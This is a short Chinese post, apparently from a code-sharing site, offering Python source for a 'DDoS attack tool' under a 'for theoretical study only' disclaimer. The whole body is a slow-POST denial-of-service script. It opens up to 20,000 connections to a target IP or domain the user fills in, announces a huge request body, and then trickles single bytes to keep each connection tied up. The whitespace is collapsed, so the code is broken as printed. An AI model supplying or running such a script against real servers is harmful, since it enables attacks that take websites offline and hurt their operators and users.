Python制作DDos攻击器源码代码仅供理论学习参考,实际用途不大,测试注意修改源码
importsocketimporttimeimportthreading#PressureTest,ddostool#---------------------------MAX_CONN=20000PORT=80HOST=""#在双引号里输入对方IP或域名.PAGE="/index.php"#---------------------------buf=("POST%sHTTP/1.1\r\n""Host:%s\r\n""Content-Length:10000000\r\n""cookie:dklkt_dos_test\r\n""\r\n"%(PAGE,HOST))socks=[]defconn_thread():globalsocksforiinrange(0,MAX_CONN):s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)try:s.connect((HOST,PORT))s.send(buf.encode())print("SendbufOK!,conn=%d\n"%i)socks.append(s)exceptExceptionasex:print("Couldnotconnecttoserverorsenderror:%s"%ex)time.sleep(0.1)#enddefdefsend_thread():globalsockswhileTrue:forsinsocks:try:s.send("f".encode())#print"sendOK!"exceptExceptionasex:print("SendException:%s\n"%ex)socks.remove(s)s.close()time.sleep(0.1)#enddefconn_th=threading.Thread(target=conn_thread,args=())send_th=threading.Thread(target=send_thread,args=())conn_th.start()send_th.start()